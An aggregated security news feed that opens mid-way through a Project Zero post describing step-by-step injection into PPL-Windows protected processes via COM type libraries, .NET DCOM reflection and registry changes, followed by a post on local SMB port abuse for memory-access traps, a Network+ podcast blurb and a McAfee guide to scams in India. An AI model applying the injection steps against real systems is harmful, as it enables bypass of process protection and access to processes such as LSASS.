PS> $cls = Get-ComClass -Clsid 72566e27-1abb-4eb3-b4f0-eb431cb1cb32

PS> $cls.AppIDEntry.ServiceProtectionLevel

WindowsLight

When we inspect the protection level for the hosting service it's configured to run at the PPL-Windows level! Let's see if we can salvage some value out of this research.

Protected Process Injection

I've blogged (and presented) on the topic of injecting into Windows Protected Processes before. I'd recommend re-reading that blog post to get a better background of previous injection attacks. However, one key point is that Microsoft does not consider PPL a security boundary and so they won't generally fix any bugs in a security bulletin in a timely manner, but they might choose to fix it in a new version of Windows.

The idea is simple, we'll redirect the StdFont class registration to point to another class so that when we create it via the type library it'll be running the protected process. Choosing to use StdFont should be more generic as we could move to using a different COM server if WaaSRemediationAgent is removed. We just need a suitable class which gets us arbitrary code execution which also works in a protected process.

Unfortunately this immediately rules out any of the scripting engines like JScript. If you've re-read my last blog post, the Code Integrity module explicitly blocks the common script engines from loading in a protected process. Instead, I need a class which is accessible out of process and can be loaded into a protected process. I realized one option is to load a registered .NET COM class. I've blogged about how .NET DCOM is exploitable, and shouldn't be used, but in this case we want the buggyness.

The blog post discussed exploiting serialization primitives, however there was a much simpler attack which I exploited by using the System.Type class over DCOM. With access to a Type object you could perform arbitrary reflection and call any method you liked, including loading an assembly from a byte array which would bypass the signature checking and give full control over the protected process.

Microsoft fixed this behavior, but they left a configuration value, AllowDCOMReflection, which allows you to turn it back on again. As we're not elevating privileges, and we have to be running as an administrator to change the COM class registration information, we can just enable DCOM reflection in the registry by writing the AllowDCOMReflection with the DWORD value of 1 to the HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework key before loading the .NET framework into the protected process.

The following steps need to be taken to achieve injection:

  1. Enable DCOM reflection in the registry.
  2. Add the TreatAs key to redirect StdFont to the System.Object COM class.
  3. Create the WaaSRemediationAgent object.
  4. Use the type library to get the StdFont class type info.
  5. Create a StdFont object using the CreateInstance method which will really load the .NET framework and return an instance of the System.Object class.
  6. Use .NET reflection to call the System.Reflection.Assembly::Load method with a byte array.
  7. Create an object in the loaded assembly to force code to execute.
  8. Cleanup all registry changes.

You'll need to do these steps in a non .NET language as otherwise the serialization mechanisms will kick in and recreate the reflection objects in the calling process. I wrote my PoC in C++, but you can probably do it from things like Python if you're so inclined. I'm not going to make the PoC available but the code is very similar to the exploit I wrote for CVE-2014-0257, that'll give you an example of how to use DCOM reflection in C++. Also note that the default for .NET COM objects is to run them using the v2 framework which is no longer installed by default. Rather than mess around with getting this working with v4 I just installed v2 from the Windows components installer.

My PoC worked first-time on Windows 10, but unfortunately when I ran it on Windows 11 24H2 it failed. I could create the .NET object, but calling any method on the object failed with the error TYPE_E_CANTLOADLIBRARY. I could have stopped here, having proven my point but I wanted to know what was failing on Windows 11. Lets finish up with diving into that, to see if we could do something to get it to work on the latest version of Windows.

The Problem with Windows 11

I was able to prove that the issue was related to protected processes, if I changed the service registration to run unprotected then the PoC worked. Therefore there must be something blocking the loading of the library when specifically running in a protected process. This didn't seem to impact type libraries generally, the loading of stdole worked just fine, so it was something specific to .NET.

After inspecting the behavior of the PoC with Process Monitor it was clear the mscorlib.tlb library was being loaded to implement the stub class in the server. For some reason it failed to load, which prevented the stub from being created, which in turn caused any call to fail. At this point I had an idea of what's happening. In the previous blog post I discussed attacking the NGEN COM process by modifying the type library it used to create the interface stub to introduce a type-confusion. This allowed me to overwrite the KnownDlls handle and force an arbitrary DLL to get loaded into memory. I knew from the work of Clément Labro and others that most of the attacks around KnownDlls are now blocked, but I suspected that there was also some sort of fix for the type library type-confusion trick.

Digging into oleaut32.dll I found the offending fix, the VerifyTrust method is shown below:

NTSTATUS VerifyTrust(LoadInfo *load_info) {

  PS_PROTECTION protection;

  BOOL is_protected;

 

  CheckProtectedProcessForHardening(&is_protected, &protection);

  if (!is_protected)

    return SUCCESS;

  ULONG flags;

  BYTE level;

  HANDLE handle = load_info->Handle;

  NTSTATUS status = NtGetCachedSigningLevel(handle, &flags, &level, 

                                            NULL, NULL, NULL);

  if (FAILED(status) || 

     (flags & 0x182) == 0 || 

     FAILED(NtCompareSigningLevels(level, 12))) {

    status = NtSetCachedSigningLevel(0x804, 12, &handle, 1, handle);

  }

  return status;

}

This method is called during the loading of the type library. It's using the cached signing level, again something I mentioned in the previous blog post, to verify if the file has a signing level of 12, which corresponds to Windows signing level. If it doesn't have the appropriate cached signing level the code will try to use NtSetCachedSigningLevel to set it. If that fails it assumes the file can't be loaded in the protected process and returns the error, which results in the type library failing to load. Note, a similar fix blocks the abuse of the Running Object Table to reference an out-of-process type library, but that's not relevant to this discussion.

Based on the output from Get-AuthenticodeSignature the mscorlib.tlb file is signed, admittedly with a catalog signing. The signing certificate is Microsoft Windows Production PCA 2011 which is exactly the same certificate as the .NET Runtime DLL so there should be no reason it wouldn't get a Windows signing level. Let's try and set the cached signature level manually using my NtObjectManager PowerShell module to see if we get any insights:

PS> $path = "C:\windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.tlb"

PS> Set-NtCachedSigningLevel $path -Flags 0x804 -SigningLevel 12 -Win32Path

Exception calling "SetCachedSigningLevel" with "4" argument(s): "(0xC000007B) - {Bad Image}

%hs is either not designed to run on Windows or it contains an error. Try installing the program again using the

original installation media or contact your system administrator or the software vendor for support. Error status 0x"

PS> Format-HexDump $path -Length 64 -ShowAll

          00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F  - 0123456789ABCDEF

-----------------------------------------------------------------------------

00000000: 4D 53 46 54 02 00 01 00 00 00 00 00 09 04 00 00  - MSFT............

00000010: 00 00 00 00 43 00 00 00 02 00 04 00 00 00 00 00  - ....C...........

00000020: 25 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00  - %...............

00000030: 2E 0D 00 00 33 FA 00 00 F8 08 01 00 FF FF FF FF  - ....3...........

Setting the signing level gives us the STATUS_INVALID_IMAGE_FORMAT error. Looking at the first 64 bytes of type library file shows that it's a raw type library rather than packaged in a PE file. This is fairly uncommon on Windows, even when a file has the extension TLB it's common for the type library to still be packed into a PE file as a resource. I guess we're out of luck, unless we can set a cached signing level on the file, it will be blocked from loading into the protected process and we need it to load to support the stub class to call the .NET interfaces over DCOM.

As an aside, oddly I have a VM of Windows 11 with the non-DLL form of the type library which does work to set a cached signing level. I must have changed the VM's configuration in some way to support this feature, but I've no idea what that is and I've decided not to dig further into it.

We could try and find a previous version of the type library file which is both validly signed, and is packaged in a PE file, however, I'd rather not do that. Of course there's almost certainly another COM object we could load rather than .NET which might give us arbitrary code execution but I'd set my heart on this approach. In the end the solution was simpler than I expected, for some reason the 32 bit version of the type library file (i.e. in Framework rather than Framework64) is packed in a DLL, and we can set a cached signing level on it.

PS> $path = "C:\windows\Microsoft.NET\Framework\v4.0.30319\mscorlib.tlb"

PS> Format-HexDump $path -Length 64 -ShowAll

          00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F  - 0123456789ABCDEF

-----------------------------------------------------------------------------

00000000: 4D 5A 90 00 03 00 00 00 04 00 00 00 FF FF 00 00  - MZ..............

00000010: B8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00  - ........@.......

00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  - ................

00000030: 00 00 00 00 00 00 00 00 00 00 00 00 B8 00 00 00  - ................

PS> Set-NtCachedSigningLevel $path -Flags 0x804 -SigningLevel 12 -Win32Path

PS> Get-NtCachedSigningLevel $path -Win32Path

Flags               : TrustedSignature

SigningLevel        : Windows

Thumbprint          : B9590CE5B1B3F377EAA6F455574C977919BB785F12A444BEB2...

ThumbprintBytes     : {185, 89, 12, 229...}

ThumbprintAlgorithm : Sha256

Thus to exploit on Windows 11 24H2 we can swap the type library registration path from the 64 bit version to the 32 bit version and rerun the exploit. The VerifyTrust function will automatically set the cached signing level for us so we don't need to do anything to make it work. Even though it's technically a different version of the type library, it doesn't make any difference for our use case and the stub generator code doesn't care.

Conclusions

I discussed in this blog post an interesting type of bug class on Windows, although it is applicable to any similar object-orientated remoting cross process or remoting protocol. It shows how you can get a COM object trapped in a more privileged process by exploiting a feature of OLE Automation, specifically the IDispatch interface and type libraries.

While I wasn't able to demonstrate a privilege escalation, I showed how you can use the IDispatch interface exposed by the WaaSRemediationAgent class to inject code into a PPL-Windows process. While this isn't the highest possible protection level it allows access to the majority of processes running protected including LSASS. We saw that Microsoft has done some work to try and mitigate existing attacks such as type library type-confusions, but in our case this mitigation shouldn't have blocked the load as we didn't need to change the type library itself. While the attack required admin privilege, the general technique does not. You could modify the local user's registration for COM and .NET to do the attack as a normal user to inject into a PPL if you can find a suitable COM server exposing IDispatch.

Windows Exploitation Tricks: Trapping Virtual Memory Access (2025 Update)

30 January 2025 at 17:57

Posted by James Forshaw, Google Project Zero

Back in 2021 I wrote a blog post about various ways you can build a virtual memory access trap primitive on Windows. The goal was to cause a reader or writer of a virtual memory address to halt for a significant (e.g. 1 or more seconds) amount of time, generally for the purpose of exploiting TOCTOU memory access bugs in the kernel.

The solutions proposed in the blog post were to either map an SMB file on a remote server, or abuse the Cloud Filter API. This blog isn't going to provide new solutions, instead I wanted to highlight a new feature of Windows 11 24H2 that introduces the ability to abuse the SMB file server directly on the local machine, no remote server required. This change also introduces the ability to locally exploit vulnerabilities which are of the so-called "False File Immutability" bug class.

All Change Please

The change was first made public, at least as far as I know, in this blog post. Microsoft's blog post described this change in Windows Insider previews, however it has subsequently shipped in Windows 11 24H2 which is generally available.

The TL;DR; is the SMB client on Windows now supports specifying the destination TCP port from the command line's net command. For example, you can force the SMB client to use port 12345 through the command net use \\localhost\c$ /TCPPORT:12345. Now accessing the UNC path \\localhost\c$\blah will connect through port 12345 instead of the old, fixed port of 445. This feature works from any user, administrator access is not required as it only affects the current user's logon session.

The problem encountered in the previous blog post was you couldn't bind your fake SMB server to port 445 without shutting down the local SMB server. Shutting down the server can only be done as an administrator, defeating most of the point of the exploitation trick. By changing the client port to one which isn't currently in use, we can open files via our fake SMB server and perform the delay locally without needing to use the Cloud Filter API. This still won't allow the technique to work in a sandbox fortunately.

Note, that an administrator can disable this feature through Group Policy, but it is enabled by default and non-enterprise users are never likely to change that. I personally think making it enabled by default is a mistake that will come back to cause problems for Windows going forward.

I've updated the example fake SMB server to allow you to bind to a different port so that you can perform the attack locally. Hopefully someone finds it useful.

CompTIA Network+: Is it necessary for a cybersecurity career? | Guest Tommy Gober

27 January 2025 at 19:00

Get your FREE Cybersecurity Salary Guide: https://www.infosecinstitute.com/form/cybersecurity-salary-guide-podcast/?utm_source=youtube&utm_medium=podcast&utm_campaign=podcast

Infosec Instructor Tommy Gober joins Cyber Work Hacks to discuss the CompTIA Network+ certification. Despite often being bypassed in favor of Security+, Gober explains why Network+ is fundamental for a robust cybersecurity knowledge base. Learn about critical networking concepts like the OSI model, IP addresses and protocols, which are vital for understanding how cyberattacks work. Discover how strengthening your networking proficiency can enhance your cybersecurity career, even if you don't aim to become a network admin. Gober also shares top tips for excelling in the Network+ exam, including mastering port numbers and subnetting. Don't miss this enriching episode designed to boost your cybersecurity skills!

0:00 Introduction
0:50 Cybersecurity salary ebook
1:44 Overview of Network+ certification
2:55 Deep dive into networking concepts
5:15 Integrating Network+ with Security+
7:03 Essential networking skills for cybersecurity
9:03 Top tips for Network+ exam preparation
10:02 Final thoughts

– View Cyber Work Podcast transcripts and additional episodes: https://www.infosecinstitute.com/podcast/?utm_source=youtube&utm_medium=podcast&utm_campaign=podcast

About Infosec
Infosec’s mission is to put people at the center of cybersecurity. We help IT and security professionals advance their careers with skills development and certifications while empowering all employees with security awareness and phishing training to stay cyber-safe at work and home. More than 70% of the Fortune 500 have relied on Infosec Skills to develop their security talent, and more than 5 million learners worldwide are more cyber-resilient from Infosec IQ’s security awareness training. Learn more at infosecinstitute.com.

💾

Rising Scams in India: Building Awareness and Prevention

29 January 2025 at 11:33

Authored by Anuradha, Sakshi Jaiswal 

In 2024, scams in India have continued to evolve, leveraging sophisticated methods and technology to exploit unsuspecting individuals. These fraudulent activities target people across demographics, causing financial losses and emotional distress. This blog highlights some of the most prevalent scams this year, how they operate, some real-world scenarios, tips to stay vigilant and what steps to be taken if you become a victim.

This blog covers the following scams:

  1. WhatsApp Scam
  2. Instant Loan Scam
  3. Voice Cloning Scam
  4. Credit Card Scam
  5. Fake Delivery Scam
  6. Digital Arrest Scam

1.WhatsApp Scam:

Scam Tactics:

Fraudsters on WhatsApp employ deceptive tactics to steal personal information, financial data, or gain unauthorized access to accounts. Common tactics include:

  • Phishing Links: Messages with fake links mimicking trusted organizations, urging users to verify their accounts or claim rewards.
    Example: “Your account will be deactivated! Click here to verify your number now.”

Case 1: In the figure below, a user is being deceived by a message originating from the +244 country code, assigned to Angola. The message offers an unrealistic investment opportunity promising a high return in just four days, which is a common scam tactic. It uses pressure and informal language, along with a link for immediate action.

 

Case 2: In the figure below, a user is being deceived by a message originating from the +261 country code, assigned to Madagascar. The message claims that you have been hired and asks you to click a link to view the offer or contact the sender which is a scam.

  • Impersonation: Scammers hijack or mimic contacts to ask for urgent financial help.
    Example: “Hey, it’s me! I lost my wallet. Can you send me ₹5,000?”
  • Fake Job Offers: Messages promising high earnings from home to lure victims into scams.
    Example: “Earn ₹10,000 daily! Contact us to start now!”

Case 3: In the figure below, a user is being deceived by a message originating from the +91 country code, assigned to India. Scammers may contact you, posing as representatives of a legitimate company, offering a job opportunity. The recruiter offers an unrealistic daily income (INR 2000–8000) for vague tasks like searching keywords, which is suspicious. Despite requests, they fail to provide official company details or an email ID, raising credibility concerns. They also ask for personal information prematurely, a common red flag.

Case 4: In the figure below, a user is being deceived by a message originating from the +84 country code, assigned to Vietnam. The offer to earn money by watching a video for just a few seconds and providing a screenshot is a common tactic used by scammers to exploit individuals. They may use the link to gather personal information, or your action could lead to phishing attempts.

Case 5: In the figure below, a user is being misled by a message originating from the country codes +91, +963, and +27, corresponding to India, Syria, and South Africa, respectively. The message claims to offer a part-time job with a high salary for minimal work, which is a common tactic used by scammers to lure individuals. The use of popular names like “Amazon” and promises of easy money are red flags. The link provided might lead to phishing attempts or data theft. It’s important not to click on any links, share personal details, or respond to such unsolicited offers.

Case 6: The messages encourage you to post fake 5-star reviews for businesses in exchange for a small payment, which is unethical and often illegal. Scammers use such tactics to manipulate online ratings, and the provided links could lead to phishing sites or malware. Avoid engaging with these messages, clicking on the links, or participating in such activities.

 

  • Lottery/Giveaway Fraud: Claims of winning a prize, requiring advance payments or sharing bank details.
    Example: “Congrats! You’ve won ₹1,00,000 in the WhatsApp Lottery. Share your bank details to claim.”
  • Malware Links: Messages containing harmful links disguised as videos, photos, or documents, designed to infect your device.
    Example: “Look at this amazing video! [malicious link]”
  • Wedding Invite Scam: Fraudsters send fake wedding invitations with malicious links. Clicking the links can download .apk file and install malware, steal personal or financial information, or gain unauthorized access to a WhatsApp account. Always verify the sender and avoid clicking suspicious links.
  • Verification Code Theft: Fraudsters trick users into sharing their WhatsApp verification codes, enabling account hijacking.

How to Identify WhatsApp Scams:

  • Unsolicited Messages: Be cautious of unexpected messages, especially from unknown numbers.
  • Sense of Urgency: Scammers often create panic, pressuring you to act quickly.
  • Poor Language: Messages may contain spelling or grammatical errors, indicating they are not from legitimate sources.
  • Generic Greetings: Messages lack personalization, such as using “Dear Customer” instead of your name.
  • Too Good to Be True Offers: High-value rewards, jobs, or opportunities with no clear justification.
  • Suspicious Links: Shortened or unrecognizable URLs that redirect to fake websites.

Impact:

  • Financial Loss: Victims may transfer money or share bank details, resulting in unauthorized transactions.
  • Identity Theft: Personal information can be misused for fraudulent activities.
  • Account Hijacking: Losing access to your WhatsApp account if verification codes are shared.
  • Privacy Breach: Sensitive data from your chats or device can be exploited.
  • Emotional Distress: Scams can cause stress, anxiety, and a loss of trust in technology or personal relationships.

Prevention:

  • Verify Sender Identity: Confirm any request for money or sensitive information directly with the person through alternate means.
  • Avoid Clicking on Links: Always verify the legitimacy of links before clicking.
  • Enable Two-Step Verification: Secure your WhatsApp account with a PIN for added protection.
  • Restrict Profile Access: Adjust privacy settings to limit who can view your profile photo, status, and other details.
  • Be Cautious of Urgent Requests: Fraudulent messages often pressure you to act immediately. Take a moment to evaluate.
  • Check Authenticity: Research offers or schemes mentioned in messages to ensure they are legitimate.
  • Report and Block: Use WhatsApp’s “Report” feature to flag suspicious contacts and block them.

 

2. Instant Loan Scam:

Scam Tactics:

  • Fake Loan Apps or Websites: Scammers create fake loan apps or websites that appear legitimate. They promise easy loans with minimal requirements and fast disbursements.
  • Personal Information Harvesting: To apply for these loans, victims are asked to provide sensitive personal information, such as bank details, Aadhaar numbers, and other financial information.
  • Advance Fee Demand: Once the application is submitted, the scammers claim that an advance fee, processing charge, or security deposit is required before the loan can be disbursed.
  • Excessive Interest Rates: If the loan is approved, it often comes with extraordinarily high interest rates or hidden charges, leading the borrower into a debt trap.
  • Threats and Harassment: If the victim is unable to repay the loan, scammers may use aggressive tactics, including blackmail, threats of legal action, or public humiliation to force repayment.

How to Identify Instant Loan Scam:

  • Unsolicited Offers: Be wary of loan offers you receive unexpectedly via calls, emails, or ads.
  • Too Good to Be True: If the loan offer seems unusually easy, with little paperwork or no credit checks, it’s likely a scam.
  • Advance Fees: Genuine lenders never ask for upfront payments before disbursing a loan.
  • Excessive Interest Rates: Watch out for loans with outrageously high interest rates or hidden fees.
  • Unprofessional Communication: Look for red flags like poorly written messages or vague, generic offers.
  • Pressure to Act Fast: Scammers often create urgency, pushing you to make quick decisions without proper verification.

Impact:

  • Financial Losses: Victims are often tricked into paying exorbitant fees, with no loan ever being disbursed, or receiving loans with unaffordable repayment terms.
  • Emotional Distress: The constant harassment, along with the fear of financial ruin, leads to significant emotional and mental stress for victims.

Prevention:

  • Verify Loan Providers: Always check the legitimacy of loan apps or websites by reading reviews and verifying their authenticity through trusted sources.
  • Avoid Sharing Sensitive Information: Never share personal or financial information unless you’re sure of the legitimacy of the platform.
  • Report Suspicious Platforms: If you come across a suspicious loan provider, report it to relevant authorities like the Reserve Bank of India (RBI) or consumer protection agencies.
  • Be Cautious with Quick Loans: Instant loans with no credit checks or paperwork should raise immediate suspicion. Always read the terms and conditions carefully.

 

3. Voice-Cloning Scam:

Voice-cloning scams use advanced AI technology to replicate the voices of familiar people, such as friends, family members, or colleagues, to manipulate victims into transferring money or providing sensitive information.

Scam Tactics:

  • Impersonating Trusted Voices: Scammers use voice-cloning technology to mimic the voice of a person the victim knows, often creating a sense of trust and urgency.
  • Urgent Requests for Money: The cloned voice typically claim an emergency, such as needing money for medical expenses or legal issues, pressuring the victim to act quickly.
  • Sensitive Information Requests: Scammers may also use voice cloning to trick victims into revealing personal information, passwords, or financial details.

How to Identify AI Voice-Cloning Scams:

  • Verify the Country Code: Check the country code of the incoming call to ensure it matches the expected location.
  • Contact the Person Directly: If possible, reach out to the person through another method to confirm the authenticity of the call.
  • Notice Changes in Speech Tone or Patterns: Be alert to any changes in the speaker’s tone or unnatural speech patterns that may indicate a scam.

Impact:

  • Financial Losses
  • Emotional and Psychological Stress

Prevention

  • Verify the Caller: Always verify the caller’s identity through an alternative channel before proceeding with any action.
  • Be Skeptical of Urgency: Take your time and evaluate urgent requests carefully, especially those involving money.
  • Check the Country Code: Be cautious if the call comes from an unfamiliar country code.
  • Listen for Inconsistencies: Pay attention to unusual speech patterns or background noises.
  • Limit Information Sharing: Never share sensitive details over the phone unless you’re sure of the caller’s identity.
  • Use Multi-Factor Authentication: Add extra security to sensitive accounts with multi-factor authentication.
  • Stay Informed: Educate yourself and others, especially vulnerable individuals, about voice cloning scams.

 

4. Credit Card Scam:

Scam Tactics

Scammers use various methods to deceive victims into revealing credit card information or making unauthorized payments:

  • Phishing: Fake emails, texts, or websites pretending to be from a legitimate entity (e.g., banks or online stores). Victims are tricked into providing card details or logging into a fake account portal.
  • Skimming: Devices installed on ATMs or payment terminals capture card information. Hidden cameras or fake keypads may record PINs.
  • Vishing (Phone Scams): Scammers impersonate bank representatives or government officials. They ask for credit card details, PINs, or OTPs to “resolve an issue.”
  • Fake Online Shopping Websites: Fraudulent e-commerce sites offer deals to steal card details during fake transactions.

How to identify Credit card scam:

  • Unsolicited Contact: Unexpected calls, emails, or messages asking for sensitive information.
  • Urgency: Claims of account suspension or fraudulent activity requiring immediate action.
  • Generic Greetings: Messages addressing you as “Dear Customer” or similar vague terms.
  • Suspicious Links: Links in emails or texts that lead to fake websites.
  • Unfamiliar Transactions: Small charges on your statement that you don’t recognize.

Impact:

  • Loss of Money: Unauthorized purchases can drain your account.
  • Identity Theft: Scammers can misuse your personal details.
  • Credit Problems: Fraudulent charges could damage your credit score.
  • Stress: Victims often face anxiety and frustration.
  • Legal Issues: You may need to dispute fraudulent transactions.

Prevention:

  • Don’t Share Card Details: Never share your card number, CVV, PIN, or OTP with anyone.
  • Shop on Secure Websites: Only enter card details on sites with “https://” and a padlock icon.
  • Avoid Suspicious Offers: Don’t click on links offering unbelievable discounts or rewards.
  • Check Your Transactions: Regularly review your bank statements for unauthorized charges.
  • Enable Alerts: Set up notifications for every card transaction to catch fraud early.
  • Protect Your Card: Be cautious at ATMs and shops to avoid skimming.
  • Use Virtual Cards: For online shopping, use one-time-use virtual cards if your bank provides them.
  • Install Security Software: Keep your devices safe with antivirus software to block phishing attempts.
  • Report Lost Cards: Inform your bank immediately if your card is lost or stolen.

 

5. Fake Delivery Scam:

Scam Tactics:

In fake delivery scams, fraudsters pose as delivery services to trick you into providing personal information, card details, or payment. Common tactics include:

  • Phishing Messages: Scammers send texts or emails claiming there’s an issue with your package delivery. They include links to fake websites asking for payment or details.
  • Example: “Your package couldn’t be delivered. Pay ₹50 to reschedule: [fake link].”
  • Impersonation Calls: Fraudsters call pretending to be delivery agents, saying extra charges are needed to complete the delivery.
  • Fake Delivery Attempts: A scammer posing as a delivery person asks for cash-on-delivery payment for a package you never ordered.
  • Malware Links: Links in fake delivery notifications may install malware on your device, stealing sensitive information.

How to Identify Fake Delivery Scams:

  • Unexpected Notifications: You receive a delivery message for a package you didn’t order.
  • Urgent Payment Requests: The scam demands immediate action, such as paying a fee to receive your package.
  • Suspicious Links: Links in the message look unusual or redirect to websites that don’t match the official delivery service.
  • No Tracking Information: Legitimate delivery companies provide proper tracking numbers. Fake messages often lack these or give invalid ones.
  • Unprofessional Communication: Scammers’ messages may contain spelling errors, awkward language, or lack the company’s official logo.

Impact:

  • Financial Loss: Victims may lose money through fake payment requests.
  • Personal Data Theft: Scammers can steal personal information like credit card details or addresses.
  • Device Infection: Clicking on malicious links can infect your device with malware or spyware.
  • Emotional Stress: Victims may feel anxious or distressed about being targeted.
  • Identity Theft: Stolen data can be used for fraud, such as opening accounts in your name.

Prevention:

  • Financial Loss: Victims may lose money through fake payment requests.
  • Personal Data Theft: Scammers can steal personal information like credit card details or addresses.
  • Device Infection: Clicking on malicious links can infect your device with malware or spyware.
  • Emotional Stress: Victims may feel anxious or distressed about being targeted.
  • Identity Theft: Stolen data can be used for fraud, such as opening accounts in your name.

 

6. Digital Arrest Scam

Scam Tactics:

Scammers pose as police officers or government officials, accusing victims of being involved in illegal activities like money laundering or cybercrime. They intimidate victims by threatening arrest or legal action unless immediate payment is made to “resolve the matter.”

  • Impersonation and Urgency: Scammers pose as authorities, creating a sense of urgency with threats of arrest or legal consequences to pressure victims.
  • Demands for Payment or Data: They demand immediate payments through untraceable methods or request sensitive personal information for identity theft.
  • Deceptive Tactics: Techniques like fake documents, spoofed contacts, and social engineering are used to make the scam appear credible and manipulate victims.

How to Identify Digital Arrest Scam:

  • Unsolicited Contact: Be cautious of unexpected calls or messages claiming to be from authorities.
  • Urgency and Threats: Scammers often pressure victims with threats of immediate arrest unless payment is made.
  • Requests for Payment: Legitimate authorities don’t ask for payment over the phone.
  • Unverified Claims: Always verify legal claims by contacting authorities directly through official channels.
  • Isolation Tactics: If asked not to consult others, it’s a red flag.
  • Sensitive Information Requests: Never share personal or financial details over the phone.
  • Unprofessional Communication: Look for poorly written or vague messages.

Impact: Daily losses from such scams run into lakhs, as victims panic and transfer money or provide sensitive information under pressure.

Prevention:

  • Verify any claims of legal accusations directly with the authorities.
  • Avoid sharing personal or financial information over the phone.
  • Remember: Genuine law enforcement agencies do not demand payment over the phone.

What to Do if You Fall Victim

If you’ve fallen victim to any of the mentioned scams—Digital Arrest Scam, Instant Loan Scam, Voice Cloning Scam, WhatsApp Scam, Fake Delivery Scam or Credit Card Scam—it’s important to take immediate action to minimize damage and protect your finances and personal information. Here are common tips and steps to follow for all these scams:

  1. Report the Scam Immediately:
  • File a Complaint: Report the scam to your local authorities or cybercrime cell. In India, you can file complaints with the Cyber Crime Portal or your local police station. For instant assistance, Dial 1930 to report cybercrime.
  • Inform Your Bank/Financial Institution: If you’ve shared financial details (e.g., bank account or credit card info), contact your bank or credit card provider immediately to block any transactions and prevent further losses.
  • Contact Your Mobile Service Provider: For scams involving SIM cards or mobile-based fraud (like voice cloning or WhatsApp scams), reach out to your service provider to block the number or disable the SIM.
  1. Secure Your Online Accounts:
  • Change Passwords: Immediately change passwords for any accounts that may have been compromised (banking, email, social media). Use strong, unique passwords for each account.
  • Enable Two-Factor Authentication (2FA): Activate two-factor authentication on your important accounts (e.g., email, bank, social media) to add an extra layer of security.
  • Review Account Activity: Look for unauthorized transactions or changes to your account settings and report them.
  1. Monitor Your Financial Statements:
  • Bank and Credit Card Statements: Regularly check your financial statements for unauthorized transactions. If you see any suspicious activity, report it to your bank immediately.
  • Freeze Your Credit: In cases of credit card scams or loan-related fraud, consider placing a freeze on your credit with major credit bureaus to prevent new accounts from being opened in your name.
  1. Do Not Respond to Unsolicited Messages:
  • If you receive unsolicited calls, messages, or emails asking for personal information, do not respond. Scammers often use these methods to steal sensitive data.
  • Do not click on links or download attachments from unknown sources.
  1. Be Cautious with Personal Information:
  • Never share sensitive information like your PIN, passwords, or OTP over the phone or through insecure channels like SMS or email.
  • Digital Arrest Scam: If you receive a threatening message about being arrested, verify the information through official government sources or your local police. Authorities will never demand payment for legal issues.
  1. Report the Phone Number/Email:
  • If the scam came via WhatsApp, SMS, or phone calls, report the number to the respective platform. For WhatsApp, you can block the number and report it directly in the app. Similarly, report phishing emails to your email provider.
  1. Preserve Evidence:
  • Save Screenshots or Records: Keep any evidence (messages, emails, screenshots, etc.) that can be used to investigate the scam. These may be useful when filing a complaint or disputing fraudulent transactions.
  1. Educate Yourself and Others:
  • Stay informed about the latest scams and fraud tactics. Being aware of common signs of scams (e.g., too-good-to-be-true offers, urgent demands for money, etc.) can help you avoid future threats.

 

Conclusion:

As scams in India continue to grow in number and sophistication, it is crucial to raise awareness to protect individuals and businesses from falling victim to these fraudulent schemes. Scams such as phishing, fake job offers, credit card scams, loan scams, investment frauds and online shopping frauds are increasingly targeting unsuspecting victims, causing significant financial loss and emotional harm.

By raising awareness of scam warning signs and encouraging vigilance, we can equip individuals to make safer, more informed decisions online. Simple precautions, such as verifying sources, being cautious of unsolicited offers, and safeguarding personal and financial information, can go a long way in preventing scams.

It is essential for both individuals and organizations to stay informed and updated on emerging scam tactics. Through continuous awareness and proactive security measures, we can reduce the impact of scams, ensuring a safer and more secure digital environment for everyone in India.

The post Rising Scams in India: Building Awareness and Prevention appeared first on McAfee Blog.

❌
❌